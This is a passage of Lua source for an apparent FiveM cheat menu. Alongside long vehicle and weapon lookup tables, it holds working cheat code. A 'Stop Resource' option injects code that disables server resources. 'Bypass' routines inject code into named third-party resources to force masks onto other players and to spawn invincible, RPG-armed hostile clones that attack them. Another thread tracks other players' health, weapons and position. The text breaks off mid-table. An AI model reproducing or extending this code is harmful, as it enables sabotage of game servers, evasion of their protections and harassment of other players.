[GetHashKey("youga")] = "Youga", [GetHashKey("youga2")] = "Youga Classic", [GetHashKey("youga3")] = "Youga Classic 4x4", -- Off-Road [GetHashKey("bfinjection")] = "BF Injection", [GetHashKey("bifta")] = "Bifta", [GetHashKey("blazer")] = "Blazer", [GetHashKey("blazer2")] = "Blazer Lifeguard", [GetHashKey("blazer3")] = "Hot Rod Blazer", [GetHashKey("blazer4")] = "Street Blazer", [GetHashKey("blazer5")] = "Blazer Aqua", [GetHashKey("bodhi2")] = "Bodhi", [GetHashKey("brawler")] = "Brawler", [GetHashKey("bruiser")] = "Bruiser (Arena)", [GetHashKey("bruiser2")] = "Future Shock Bruiser", [GetHashKey("bruiser3")] = "Nightmare Bruiser", [GetHashKey("brutus")] = "Brutus (Arena)", [GetHashKey("brutus2")] = "Future Shock Brutus", [GetHashKey("brutus3")] = "Nightmare Brutus", [GetHashKey("caracara")] = "Caracara", [GetHashKey("caracara2")] = "Caracara 4x4", [GetHashKey("dloader")] = "Duneloader", [GetHashKey("dubsta3")] = "Dubsta 6x6", [GetHashKey("dune")] = "Dune Buggy", [GetHashKey("dune2")] = "Space Docker", [GetHashKey("dune3")] = "Dune FAV", [GetHashKey("dune4")] = "Ramp Buggy", [GetHashKey("dune5")] = "Ramp Buggy 2", [GetHashKey("everon")] = "Everon", [GetHashKey("freecrawler")] = "Freecrawler", [GetHashKey("hellion")] = "Hellion", [GetHashKey("insurgent")] = "Insurgent", [GetHashKey("insurgent2")] = "Insurgent Pick-Up", [GetHashKey("insurgent3")] = "Insurgent Pick-Up Custom", [GetHashKey("kalahari")] = "Kalahari", [GetHashKey("kamacho")] = "Kamacho", [GetHashKey("marshall")] = "Marshall", [GetHashKey("menacer")] = "Menacer", [GetHashKey("mesa3")] = "Mesa (Merryweather)", [GetHashKey("monster")] = "Monster", [GetHashKey("monster3")] = "Sasquatch (Arena)", [GetHashKey("monster4")] = "Future Shock Sasquatch", [GetHashKey("monster5")] = "Nightmare Sasquatch", [GetHashKey("nightshark")] = "Nightshark", [GetHashKey("outlaw")] = "Outlaw", [GetHashKey("rancherxl")] = "Rancher XL", [GetHashKey("rcbandito")] = "RC Bandito", [GetHashKey("rebel")] = "Rebel", [GetHashKey("rebel2")] = "Rusty Rebel", [GetHashKey("riata")] = "Riata", [GetHashKey("sandking")] = "Sandking XL", [GetHashKey("sandking2")] = "Sandking SWB", [GetHashKey("technical")] = "Technical", [GetHashKey("technical2")] = "Technical Aqua", [GetHashKey("technical3")] = "Technical Custom", [GetHashKey("trophytruck")] = "Trophy Truck", [GetHashKey("trophytruck2")] = "Desert Raid", [GetHashKey("vagrant")] = "Vagrant", [GetHashKey("verus")] = "Verus", [GetHashKey("winky")] = "Winky", [GetHashKey("zhaba")] = "Zhaba", -- Motorcycles [GetHashKey("akuma")] = "Akuma", [GetHashKey("avarus")] = "Avarus", [GetHashKey("bagger")] = "Bagger", [GetHashKey("bati")] = "Bati 801", [GetHashKey("bati2")] = "Bati 801RR", [GetHashKey("bf400")] = "BF400", [GetHashKey("carbonrs")] = "Carbon RS", [GetHashKey("chimera")] = "Chimera", [GetHashKey("cliffhanger")] = "Cliffhanger", [GetHashKey("daemon")] = "Daemon", [GetHashKey("daemon2")] = "Daemon Custom", [GetHashKey("defiler")] = "Defiler", [GetHashKey("deathbike")] = "Deathbike (Arena)", [GetHashKey("deathbike2")] = "Future Shock Deathbike", [GetHashKey("deathbike3")] = "Nightmare Deathbike", [GetHashKey("diablous")] = "Diabolus", [GetHashKey("diablous2")] = "Diabolus Custom", [GetHashKey("double")] = "Double T", [GetHashKey("enduro")] = "Enduro", [GetHashKey("esskey")] = "Esskey", [GetHashKey("faggio")] = "Faggio Sport", [GetHashKey("faggio2")] = "Faggio", [GetHashKey("faggio3")] = "Faggio Mod", [GetHashKey("fcr")] = "FCR 1000", [GetHashKey("fcr2")] = "FCR 1000 Custom", [GetHashKey("gargoyle")] = "Gargoyle", [GetHashKey("hakuchou")] = "Hakuchou", [GetHashKey("hakuchou2")] = "Hakuchou Drag", [GetHashKey("hexer")] = "Hexer", [GetHashKey("innovation")] = "Innovation", [GetHashKey("lectro")] = "Lectro", [GetHashKey("manchez")] = "Manchez", [GetHashKey("manchez2")] = "Manchez Scout", [GetHashKey("nemesis")] = "Nemesis", [GetHashKey("nightblade")] = "Nightblade", [GetHashKey("oppressor")] = "Oppressor", [GetHashKey("oppressor2")] = "Oppressor Mk II", [GetHashKey("pcj")] = "PCJ 600", [GetHashKey("ratbike")] = "Rat Bike", [GetHashKey("reever")] = "Reever", [GetHashKey("ruffian")] = "Ruffian", [GetHashKey("rrocket")] = "Rampant Rocket", [GetHashKey("sanchez")] = "Sanchez", [GetHashKey("sanchez2")] = "Sanchez (Livery)", [GetHashKey("sanctus")] = "Sanctus", [GetHashKey("shotaro")] = "Shotaro", [GetHashKey("sovereign")] = "Sovereign", [GetHashKey("stryder")] = "Stryder", [GetHashKey("thrust")] = "Thrust", [GetHashKey("vader")] = "Vader", [GetHashKey("vindicator")] = "Vindicator", [GetHashKey("vortex")] = "Vortex", [GetHashKey("wolfsbane")] = "Wolfsbane", [GetHashKey("zombiea")] = "Zombie Bobber", [GetHashKey("zombieb")] = "Zombie Chopper", [GetHashKey("shinobi")] = "Shinobi", -- Planes [GetHashKey("alphaz1")] = "Alpha-Z1", [GetHashKey("avenger")] = "Avenger", [GetHashKey("avenger2")] = "Avenger (Interior)", [GetHashKey("besra")] = "Besra", [GetHashKey("blimp")] = "Blimp", [GetHashKey("blimp2")] = "Blimp (Xero)", [GetHashKey("blimp3")] = "Blimp (Festival)", [GetHashKey("bombushka")] = "RM-10 Bombushka", [GetHashKey("cargoplane")] = "Cargo Plane", [GetHashKey("cuban800")] = "Cuban 800", [GetHashKey("dodo")] = "Dodo", [GetHashKey("duster")] = "Duster", [GetHashKey("howard")] = "Howard NX-25", [GetHashKey("hydra")] = "Hydra", [GetHashKey("jet")] = "Jet", [GetHashKey("lazer")] = "P-996 LAZER", [GetHashKey("luxor")] = "Luxor", [GetHashKey("luxor2")] = "Luxor Deluxe", [GetHashKey("mammatus")] = "Mammatus", [GetHashKey("microlight")] = "Ultralight", [GetHashKey("miljet")] = "Miljet", [GetHashKey("mogul")] = "Mogul", [GetHashKey("molotok")] = "V-65 Molotok", [GetHashKey("nimbus")] = "Nimbus", [GetHashKey("nokota")] = "P-45 Nokota", [GetHashKey("pyro")] = "Pyro", [GetHashKey("rogue")] = "Rogue", [GetHashKey("seabreeze")] = "Seabreeze", [GetHashKey("shamal")] = "Shamal", [GetHashKey("starling")] = "LF-22 Starling", [GetHashKey("stunt")] = "Mallard", [GetHashKey("titan")] = "Titan", [GetHashKey("tula")] = "Tula", [GetHashKey("velum")] = "Velum", [GetHashKey("velum2")] = "Velum 5-Seater", [GetHashKey("vestra")] = "Vestra", [GetHashKey("volatol")] = "Volatol", [GetHashKey("alkonost")] = "RO-86 Alkonost", [GetHashKey("molotok")] = "V-65 Molotok", -- Helicopters [GetHashKey("akula")] = "Akula", [GetHashKey("annihilator")] = "Annihilator", [GetHashKey("annihilator2")] = "Annihilator Stealth", [GetHashKey("buzzard")] = "Buzzard Attack Chopper", [GetHashKey("buzzard2")] = "Buzzard", [GetHashKey("cargobob")] = "Cargobob", [GetHashKey("cargobob2")] = "Cargobob (Jetsam)", [GetHashKey("cargobob3")] = "Cargobob (Military)", [GetHashKey("cargobob4")] = "Cargobob (Desert)", [GetHashKey("frogger")] = "Frogger", [GetHashKey("frogger2")] = "Frogger (FIB)", [GetHashKey("havok")] = "Havok", [GetHashKey("hunter")] = "Hunter", [GetHashKey("maverick")] = "Maverick", [GetHashKey("polmav")] = "Police Maverick", [GetHashKey("savage")] = "Savage", [GetHashKey("seasparrow")] = "Sea Sparrow", [GetHashKey("seasparrow2")] = "Sparrow (Sea)", [GetHashKey("seasparrow3")] = "Sea Sparrow (Classic)", [GetHashKey("skylift")] = "Skylift", [GetHashKey("supervolito")] = "SuperVolito", [GetHashKey("supervolito2")] = "SuperVolito Carbon", [GetHashKey("swift")] = "Swift", [GetHashKey("swift2")] = "Swift Deluxe", [GetHashKey("valkyrie")] = "Valkyrie", [GetHashKey("valkyrie2")] = "Valkyrie MOD.0", [GetHashKey("volatus")] = "Volatus", [GetHashKey("conada")] = "Conada", -- Boats [GetHashKey("dinghy")] = "Dinghy", [GetHashKey("dinghy2")] = "Dinghy (2-Seater)", [GetHashKey("dinghy3")] = "Dinghy (3-Seater)", [GetHashKey("dinghy4")] = "Dinghy (4-Seater)", [GetHashKey("dinghy5")] = "Dinghy (Yacht)", [GetHashKey("jetmax")] = "Jetmax", [GetHashKey("marquis")] = "Marquis", [GetHashKey("seashark")] = "Seashark", [GetHashKey("seashark2")] = "Seashark (Lifeguard)", [GetHashKey("seashark3")] = "Seashark (Yacht)", [GetHashKey("speeder")] = "Speeder", [GetHashKey("speeder2")] = "Speeder (Yacht)", [GetHashKey("squalo")] = "Squalo", [GetHashKey("suntrap")] = "Suntrap", [GetHashKey("toro")] = "Toro", [GetHashKey("toro2")] = "Toro (Yacht)", [GetHashKey("tropic")] = "Tropic", [GetHashKey("tropic2")] = "Tropic (Yacht)", [GetHashKey("tug")] = "Tug", [GetHashKey("avisa")] = "Avisa", [GetHashKey("dinghy5")] = "Dinghy (Heist)", [GetHashKey("kosatka")] = "Kosatka", [GetHashKey("longfin")] = "Longfin", [GetHashKey("patrolboat")] = "Police Predator", [GetHashKey("submersible")] = "Submersible", [GetHashKey("submersible2")] = "Kraken", -- Cycles [GetHashKey("bmx")] = "BMX", [GetHashKey("cruiser")] = "Cruiser", [GetHashKey("fixter")] = "Fixter", [GetHashKey("scorcher")] = "Scorcher", [GetHashKey("tribike")] = "Whippet Race Bike", [GetHashKey("tribike2")] = "Endurex Race Bike", [GetHashKey("tribike3")] = "Tri-Cycles Race Bike", -- Service Vehicles [GetHashKey("airbus")] = "Airport Bus", [GetHashKey("brickade")] = "Brickade", [GetHashKey("bus")] = "Bus", [GetHashKey("coach")] = "Dashound", [GetHashKey("pbus2")] = "Festival Bus", [GetHashKey("rallytruck")] = "Dune", [GetHashKey("rentalbus")] = "Rental Shuttle Bus", [GetHashKey("taxi")] = "Taxi", [GetHashKey("tourbus")] = "Tour Bus", [GetHashKey("trash")] = "Trashmaster", [GetHashKey("trash2")] = "Trashmaster (2)", [GetHashKey("wastelander")] = "Wastelander", [GetHashKey("pbus")] = "Prison Bus", -- Utility [GetHashKey("airtug")] = "Airtug", [GetHashKey("caddy")] = "Caddy", [GetHashKey("caddy2")] = "Caddy (Golf)", [GetHashKey("caddy3")] = "Caddy (Bunker)", [GetHashKey("docktug")] = "Docktug", [GetHashKey("forklift")] = "Forklift", [GetHashKey("mower")] = "Lawn Mower", [GetHashKey("ripley")] = "Ripley", [GetHashKey("sadler")] = "Sadler", [GetHashKey("sadler2")] = "Sadler (Snow)", [GetHashKey("scrap")] = "Scrap Truck", [GetHashKey("towtruck")] = "Towtruck", [GetHashKey("towtruck2")] = "Towtruck (Large)", [GetHashKey("tractor")] = "Tractor (Rusty)", [GetHashKey("tractor2")] = "Fieldmaster", [GetHashKey("tractor3")] = "Tractor (Fieldmaster 2)", [GetHashKey("utillitruck")] = "Utility Truck", [GetHashKey("utillitruck2")] = "Utility Truck (Cherry Picker)", [GetHashKey("utillitruck3")] = "Utility Truck (Lights)", -- Commercial [GetHashKey("benson")] = "Benson", [GetHashKey("biff")] = "Biff", [GetHashKey("cerberus")] = "Cerberus (Arena)", [GetHashKey("cerberus2")] = "Future Shock Cerberus", [GetHashKey("cerberus3")] = "Nightmare Cerberus", [GetHashKey("hauler")] = "Hauler", [GetHashKey("hauler2")] = "Hauler Custom", [GetHashKey("mule")] = "Mule", [GetHashKey("mule2")] = "Mule (Cargo)", [GetHashKey("mule3")] = "Mule Custom", [GetHashKey("mule4")] = "Mule (Arena)", [GetHashKey("mule5")] = "Mule (Armored)", [GetHashKey("packer")] = "Packer", [GetHashKey("phantom")] = "Phantom", [GetHashKey("phantom2")] = "Phantom Wedge", [GetHashKey("phantom3")] = "Phantom Custom", [GetHashKey("pounder")] = "Pounder", [GetHashKey("pounder2")] = "Pounder Custom", [GetHashKey("stockade")] = "Stockade", [GetHashKey("stockade3")] = "Stockade (Snow)", [GetHashKey("terbyte")] = "Terrorbyte", -- Industrial [GetHashKey("bulldozer")] = "Bulldozer", [GetHashKey("cutter")] = "Cutter", [GetHashKey("dump")] = "Dump Truck", [GetHashKey("flatbed")] = "Flatbed", [GetHashKey("guardian")] = "Guardian", [GetHashKey("handler")] = "Dock Handler", [GetHashKey("mixer")] = "Mixer", [GetHashKey("mixer2")] = "Mixer (Phantom)", [GetHashKey("rubble")] = "Rubble", [GetHashKey("tiptruck")] = "Tipper", [GetHashKey("tiptruck2")] = "Tipper (2)", -- Emergency [GetHashKey("ambulance")] = "Ambulance", [GetHashKey("fbi")] = "FIB", [GetHashKey("fbi2")] = "FIB Buffalo", [GetHashKey("firetruk")] = "Fire Truck", [GetHashKey("lguard")] = "Lifeguard", [GetHashKey("pbus")] = "Prison Bus", [GetHashKey("police")] = "Police Cruiser", [GetHashKey("police2")] = "Police Cruiser (Buffalo)", [GetHashKey("police3")] = "Police Cruiser (Interceptor)", [GetHashKey("police4")] = "Police Cruiser (Unmarked)", [GetHashKey("policeb")] = "Police Bike", [GetHashKey("policeold1")] = "Police Cruiser (Classic)", [GetHashKey("policeold2")] = "Police Cruiser (Classic 2)", [GetHashKey("policet")] = "Police Transporter", [GetHashKey("pranger")] = "Police Ranger", [GetHashKey("predator")] = "Police Predator", [GetHashKey("riot")] = "Police Riot", [GetHashKey("riot2")] = "RCV", [GetHashKey("sheriff")] = "Sheriff Cruiser", [GetHashKey("sheriff2")] = "Sheriff SUV", -- Military [GetHashKey("barracks")] = "Barracks", [GetHashKey("barracks2")] = "Barracks Semi", [GetHashKey("barracks3")] = "Barracks (Covered)", [GetHashKey("barrage")] = "Barrage", [GetHashKey("chernobog")] = "Chernobog", [GetHashKey("crusader")] = "Canis Crusader", [GetHashKey("halftrack")] = "Half-track", [GetHashKey("khanjali")] = "TM-02 Khanjali", [GetHashKey("minitank")] = "Invade and Persuade Tank", [GetHashKey("rhino")] = "Rhino Tank", [GetHashKey("scarab")] = "Scarab (Arena)", [GetHashKey("scarab2")] = "Future Shock Scarab", [GetHashKey("scarab3")] = "Nightmare Scarab", [GetHashKey("thruster")] = "Thruster", [GetHashKey("trailersmall2")] = "Anti-Aircraft Trailer", [GetHashKey("vetir")] = "Vetir", -- Trains [GetHashKey("freight")] = "Freight Train", [GetHashKey("freightcar")] = "Freight Car", [GetHashKey("freightcont1")] = "Freight Container 1", [GetHashKey("freightcont2")] = "Freight Container 2", [GetHashKey("freightgrain")] = "Freight Grain", [GetHashKey("freighttrailer")] = "Freight Trailer", [GetHashKey("tankercar")] = "Tanker Car", [GetHashKey("metrotrain")] = "Metro Train", -- Open Wheel [GetHashKey("openwheel1")] = "BR8", [GetHashKey("openwheel2")] = "DR1", [GetHashKey("formula")] = "PR4", [GetHashKey("formula2")] = "R88", } -- Try to get vehicle name from lookup table if vehicleNames[vehicleModel] then vehicleName = vehicleNames[vehicleModel] else -- Fallback to display name if available if displayName and displayName ~= "CARNOTFOUND" and displayName ~= "" then vehicleName = displayName else vehicleName = "Unknown Vehicle" end end local speedMs = GetEntitySpeed(vehicle) speed = math.floor(speedMs * 3.6) else isInVehicle = false -- If we can't get the vehicle, they're not really in one end end -- If not in vehicle, get walking speed if not isInVehicle then local speedMs = GetEntitySpeed(playerPed) speed = math.floor(speedMs * 3.6) end -- Check if player is alive local isAlive = not IsPedDeadOrDying(playerPed, true) and GetEntityHealth(playerPed) > 0 -- Get health percentage local health = GetEntityHealth(playerPed) local maxHealth = GetEntityMaxHealth(playerPed) local healthPercent = maxHealth > 0 and math.max(0, math.floor((health / maxHealth) * 100)) or 0 table.insert(players, { id = GetPlayerServerId(currPlayer), name = GetPlayerName(currPlayer), -- CLEAN NAME - no debug info localId = currPlayer, ping = playerPing, health = healthPercent, armor = GetPedArmour(playerPed), weapon = currentWeapon, isInVehicle = isInVehicle, vehicleName = vehicleName, speed = speed .. " km/h", distance = distance .. ".0 m", isAlive = isAlive, }) end end return players end -- Real-time selected player info update thread CreateThread(function() while true do Wait(0) -- Update every 50ms for super instant updates -- Only update if menu is showing and a player is selected if _G.clientMenuShowing and selectedPlayerId then -- Get fresh player data local freshPlayerData = getRealPlayerData() -- Find the selected player in the fresh data local selectedPlayer = nil for _, player in ipairs(freshPlayerData) do if player.id == selectedPlayerId then selectedPlayer = player break end end -- Update the global playerList with fresh data for the selected player if selectedPlayer then -- Update the playerList with fresh data if playerList then for i, player in ipairs(playerList) do if player.id == selectedPlayerId then -- Update all the real-time data playerList[i].health = selectedPlayer.health playerList[i].armor = selectedPlayer.armor playerList[i].weapon = selectedPlayer.weapon playerList[i].isInVehicle = selectedPlayer.isInVehicle playerList[i].vehicleName = selectedPlayer.vehicleName playerList[i].speed = selectedPlayer.speed playerList[i].distance = selectedPlayer.distance playerList[i].isAlive = selectedPlayer.isAlive break end end end -- Force a complete menu refresh by calling setCurrent() if activeMenu and type(activeMenu) == "table" and #activeMenu > 0 then setCurrent() end -- Send updated player info to UI if DUI is available if dui then MachoSendDuiMessage(dui, json.encode({ action = 'updateSelectedPlayerInfo', playerId = selectedPlayerId, health = selectedPlayer.health, armor = selectedPlayer.armor, weapon = selectedPlayer.weapon, isInVehicle = selectedPlayer.isInVehicle, vehicleName = selectedPlayer.vehicleName, speed = selectedPlayer.speed, distance = selectedPlayer.distance, isAlive = selectedPlayer.isAlive })) end end end end end) -- Function to create resource stopper submenu -- Function to create resource stopper submenu -- Global table to track which resources have been stopped if not _G.stoppedResources then _G.stoppedResources = {} end local function createResourceStopperMenu() local resources = getAllServerResources() local resourceMenu = {} for _, resource in ipairs(resources) do table.insert(resourceMenu, { label = resource.name, -- We'll set the icon dynamically type = 'submenu', canBind = true, bindName = 'Toggle ' .. resource.name, resourceName = resource.name, -- Store the resource name for dynamic updates submenu = { { label = 'Start Resource', type = 'button', canBind = true, bindName = 'Start ' .. resource.name, onConfirm = function() ---("Starting resource:", resource.name) MachoResourceStart(resource.name) -- Mark resource as not stopped _G.stoppedResources[resource.name] = false if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Starting: " .. resource.name, type = 'info' })) end -- Refresh the menu after action Wait(500) -- Give time for resource to start if activeMenu then -- Find and update the resource stopper submenu for _, settingsItem in ipairs(originalMenu) do if settingsItem.label == "Miscellaneous" and settingsItem.submenu then for _, subItem in ipairs(settingsItem.submenu) do if subItem.label == "Resource" then subItem.submenu = createResourceStopperMenu() if activeMenu == subItem.submenu then activeMenu = subItem.submenu setCurrent() end break end end end end end end }, { label = 'Stop Resource', type = 'button', canBind = true, bindName = 'Stop ' .. resource.name, onConfirm = function() ---("Stopping resource:", resource.name) MachoInjectResourceRaw(resource.name, [[ local oldWait = Wait local TableSpecials = { ["print"] = true, ["_G"] = true, ["pairs"] = true, ["type"] = true, ["__VERSION"] = true, } _G["__VERSION"] = _G for k, v in pairs(_G) do if not TableSpecials[k] then _G[k] = function() oldWait(10000 * 10000) end end end ]]) -- Mark resource as stopped _G.stoppedResources[resource.name] = true if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Stopped: " .. resource.name, type = 'success' })) end -- Refresh the menu after action Wait(500) -- Give time for resource to stop if activeMenu then -- Find and update the resource stopper submenu for _, settingsItem in ipairs(originalMenu) do if settingsItem.label == "Miscellaneous" and settingsItem.submenu then for _, subItem in ipairs(settingsItem.submenu) do if subItem.label == "Resource" then subItem.submenu = createResourceStopperMenu() if activeMenu == subItem.submenu then activeMenu = subItem.submenu setCurrent() end break end end end end end end } } }) end -- Set the status icons after creating all items for i, menuItem in ipairs(resourceMenu) do if resources and resources[i] then local currentResource = resources[i] -- Check if we've manually stopped this resource local isStopped = _G.stoppedResources[currentResource.name] == true local statusIcon = isStopped and "🔴" or "🟢" menuItem.label = statusIcon .. " " .. currentResource.name else -- Fallback if resources array is nil or index is out of bounds local isStopped = _G.stoppedResources[menuItem.resourceName] == true local statusIcon = isStopped and "🔴" or "🟢" menuItem.label = statusIcon .. " " .. (menuItem.resourceName or "Unknown Resource") end end return resourceMenu end -- Function to scan server resources for addon vehicles - ADD THIS TO THE TOP OF YOUR FILE -- Weapon Categories Data -- ADD THIS WeaponData TABLE BEFORE YOUR originalMenu -- Function to detect server framework and spawn vehicle accordingly with enhanced bypasses -- Function to detect server framework and spawn vehicle accordingly with all bypasses local function spawnVehicleWithFrameworkDetection(carName, customCoords, customHeading) if not carName or carName == "" then return end local model = carName:lower() local coords = customCoords or GetEntityCoords(PlayerPedId()) local heading = customHeading or GetEntityHeading(PlayerPedId()) -- Reuse the main SpawnCar logic 1:1 so behavior stays identical SpawnCar(model, coords, heading) end -- Global spawn request monitoring thread for freecam -- Enhanced monkey mask function with bypasses function putMonkeyMaskWithBypasses(selectedPlayerId) for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then ---("Putting monkey mask on player with bypasses:", player.name) local maskAttempts = { -- rpemotes-reborn bypass function() if GetResourceState('rpemotes-reborn') == "started" then MachoInjectResourceRaw('rpemotes-reborn', string.format([[ -- Hook CreateObject to change hash local originalCreateObject = CreateObject CreateObject = function(hash, x, y, z, ...) local maskHash = GetHashKey('p_orleans_mask_s') return originalCreateObject(maskHash, x, y, z, ...) end local ped = GetPlayerPed(%d) AddProp(GetHashKey('p_orleans_mask_s'), 0, 0.0, 0.025, 0.0, 180.0, 90.0, 0.0, nil, false) -- Restore original function CreateObject = originalCreateObject ]], player.localId)) return true end return false end, -- wasabi_nfc bypass function() if GetResourceState('wasabi_nfc') == "started" then MachoInjectResourceRaw('wasabi_nfc', string.format([[ -- Hook phoneModel phoneModel = 'p_orleans_mask_s' phoneAnim() ]])) return true end return false end } -- Try each bypass local success = false for _, attempt in ipairs(maskAttempts) do if attempt() then success = true break end end -- Fallback to normal method if not success then SafeInjectResourceRaw(InjectionResource(), string.format([[ local ped = GetPlayerPed(%d) local model = 'p_orleans_mask_s' RequestModel(model) while not HasModelLoaded(model) do Wait(500) end local mask = CreateObject(model, GetEntityCoords(ped), true, true, false) AttachEntityToEntity(mask, ped, GetPedBoneIndex(ped, 31086), 0.0, 0.025, 0.0, 180.0, 90.0, 0.0, true, false, false, false, 2, true) SetModelAsNoLongerNeeded(model) ]], player.localId)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Monkey mask attached to " .. player.name, type = 'success' })) end end break end end end -- Clone player function with bypasses (from nexusBypass) function clonePlayerWithBypasses(selectedPlayerId) for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then ---("Cloning player with bypasses:", player.name) local cloneAttempts = { -- pickle_rental bypass function() if GetResourceState('pickle_rental') == "started" then MachoInjectResourceRaw('pickle_rental', string.format([[ local targetPed = GetPlayerPed(%d) if DoesEntityExist(targetPed) then local coords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local model = GetEntityModel(targetPed) local clone = CreateNPC(model, coords, heading, true, true) if clone and DoesEntityExist(clone) then -- Copy appearance for i = 0, 11 do local drawable = GetPedDrawableVariation(targetPed, i) local texture = GetPedTextureVariation(targetPed, i) SetPedComponentVariation(clone, i, drawable, texture, 0) end -- Give weapon and make hostile local weaponHash = GetHashKey("WEAPON_RPG") GiveWeaponToPed(clone, weaponHash, 1000, false, true) SetEntityInvincible(clone, true) TaskCombatPed(clone, targetPed, 0, 16) end end ]], player.localId)) return true end return false end, -- rahe-boosting ped bypass function() if GetResourceState('rahe-boosting') == "started" then MachoInjectResourceRaw('rahe-boosting', string.format([[ local targetPed = GetPlayerPed(%d) if DoesEntityExist(targetPed) then local coords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local model = GetEntityModel(targetPed) local guardPositions = { {x = coords.x + 1, y = coords.y + 1, z = coords.z, h = heading} } createVehicleGuardPeds("hostile", model, guardPositions) end ]], player.localId)) return true end return false end } -- Try each bypass local success = false for _, attempt in ipairs(cloneAttempts) do if attempt() then success = true break end end -- Fallback to enhanced clone method (from nexusBypass) if not success then SafeInjectResourceRaw(InjectionResource(), string.format([[ local targetPed = GetPlayerPed(%d) if DoesEntityExist(targetPed) then local coords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local model = GetEntityModel(targetPed) RequestModel(model) local timeout = 0 while not HasModelLoaded(model) and timeout < 500 do Wait(10) timeout = timeout + 1 end if HasModelLoaded(model) then local clone = CreatePed(4, model, coords.x + 0.5, coords.y + 0.5, coords.z, heading, true, true) if clone and DoesEntityExist(clone) then SetEntityAsMissionEntity(clone, true, true) -- Copy appearance for i = 0, 11 do local drawable = GetPedDrawableVariation(targetPed, i) local texture = GetPedTextureVariation(targetPed, i) SetPedComponentVariation(clone, i, drawable, texture, 0) end -- Copy props for i = 0, 7 do local propIndex = GetPedPropIndex(targetPed, i) if propIndex ~= -1 then local propTexture = GetPedPropTextureIndex(targetPed, i) SetPedPropIndex(clone, i, propIndex, propTexture, true) end end -- Make hostile with RPG local cloneGroup = AddRelationshipGroup("HOSTILE_CLONE_" .. tostring(clone)) SetPedRelationshipGroupHash(clone, cloneGroup) SetRelationshipBetweenGroups(5, cloneGroup, GetHashKey("PLAYER")) local weaponHash = GetHashKey("WEAPON_RPG") GiveWeaponToPed(clone, weaponHash, 1000, false, true) SetPedDropsWeaponsWhenDead(clone, false) TaskCombatPed(clone, targetPed, 0, 16) SetEntityInvincible(clone, true) SetPedCanRagdoll(clone, false) end end end ]], player.localId)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Cloned player: " .. player.name, type = 'success' })) end end break end end end local WeaponData = { ['Melees'] = { a = 1, b = {"Knife", "Dagger", "Switchblade", "Hatchet", "Machete", "Bat", "Golfclub", "Poolcue", "Nightstick", "Crowbar", "Pipewrench", "Hammer", "Flashlight", "Knuckle", "Bottle"}, c = { ['Knife'] = 'https://i.ibb.co/pjQfFXfS/f58228c3-49b9-480e-bc83-578f6d89661e-crowbar-gtav-4.png', ['Dagger'] = 'https://vignette.wikia.nocookie.net/gtawiki/images/c/ce/AntiqueCavalryDagger-GTAV.png/revision/latest/scale-to-width-down/310?cb=20140617174635', ['Switchblade'] = 'https://i.ibb.co/k6ByV559/9e60a1b7-cea7-443e-9894-0329baa5bb03-crowbar-gtav-6.png', ['Hatchet'] = 'https://vignette.wikia.nocookie.net/gtawiki/images/9/94/Hatchet-GTAV.png/revision/latest/scale-to-width-down/310?cb=20150314101925', ['Machete'] = 'https://vignette.wikia.nocookie.net/gtawiki/images/4/44/Machete-GTAV.png/revision/latest/scale-to-width-down/310?cb=20160627121720', ['Bat'] = 'https://i.ibb.co/T94NzGh/dc519230-2874-4598-9ebb-767ef459d3c5-crowbar-gtav-3.png', ['Golfclub'] = 'https://vignette.wikia.nocookie.net/gtawiki/images/9/97/GolfClub-GTAV.png/revision/latest/scale-to-width-down/310?cb=20131004164724', ['Poolcue'] = 'https://vignette.wikia.nocookie.net/gtawiki/images/f/fc/PoolCue-GTAV.png/revision/latest/scale-to-width-down/310?cb=20161004162043', ['Nightstick'] = 'https://vignette.wikia.nocookie.net/gtawiki/images/1/19/Nightstick-GTAV.png/revision/latest/scale-to-width-down/310?cb=20130920191745', ['Crowbar'] = 'https://i.ibb.co/dsRp1yQT/1ef04a61-3cd9-4a38-b5db-a7c7c31c0c28-crowbar-gtav.jpg', ['Pipewrench'] = 'https://vignette.wikia.nocookie.net/gtawiki/images/6/64/PipeWrench-GTAV.png/revision/latest/scale-to-width-down/350?cb=20161004164114', ['Hammer'] = 'https://vignette.wikia.nocookie.net/gtawiki/images/8/88/Hammer-GTAV.png/revision/latest/scale-to-width-down/310?cb=20150521154405', ['Flashlight'] = 'https://vignette.wikia.nocookie.net/gtawiki/images/8/88/Flashlight-GTAO.png/revision/latest/scale-to-width-down/310?cb=20151029165843', ['Knuckle'] = 'https://vignette.wikia.nocookie.net/gtawiki/images/b/b7/BrassKnuckles-GTAV.png/revision/latest/scale-to-width-down/310?cb=20150708153813', ['Bottle'] = 'https://i.ibb.co/qY4wCwKZ/06349775-914e-4eb5-945a-c31a74e680f7-crowbar-gtav-2.png', }, }, ['Handguns'] = { a = 1, b = {"PISTOL", "PISTOL_MK2", "COMBATPISTOL", "APPISTOL", "PISTOL50", "SNSPISTOL", "SNSPISTOL_MK2", "HEAVYPISTOL", "VINTAGEPISTOL", "STUNGUN", "FLAREGUN"}, c = { ['PISTOL'] = "https://i.ibb.co/N2cy0PgB/df1f35d6-2bce-4139-ba97-47accd532496-crowbar-gtav.png", ['PISTOL_MK2'] = "https://vignette.wikia.nocookie.net/gtawiki/images/4/46/PistolMkII-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108210825", ['COMBATPISTOL'] = "https://vignette.wikia.nocookie.net/gtawiki/images/8/87/CombatPistol-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108204417", ['APPISTOL'] = "https://i.ibb.co/d4rB4Wrr/8fb6241e-fe82-4354-ae32-7138cad606bd-crowbar-gtav-9.png", ['PISTOL50'] = "https://i.ibb.co/NdMqsvL3/465008a5-b353-48eb-97b5-9d45097219de-crowbar-gtav-7.png", ['SNSPISTOL'] = "https://vignette.wikia.nocookie.net/gtawiki/images/1/17/SNSPistol-GTAV.png/revision/latest/scale-to-width-down/310?cb=20180108211527", ['SNSPISTOL_MK2'] = 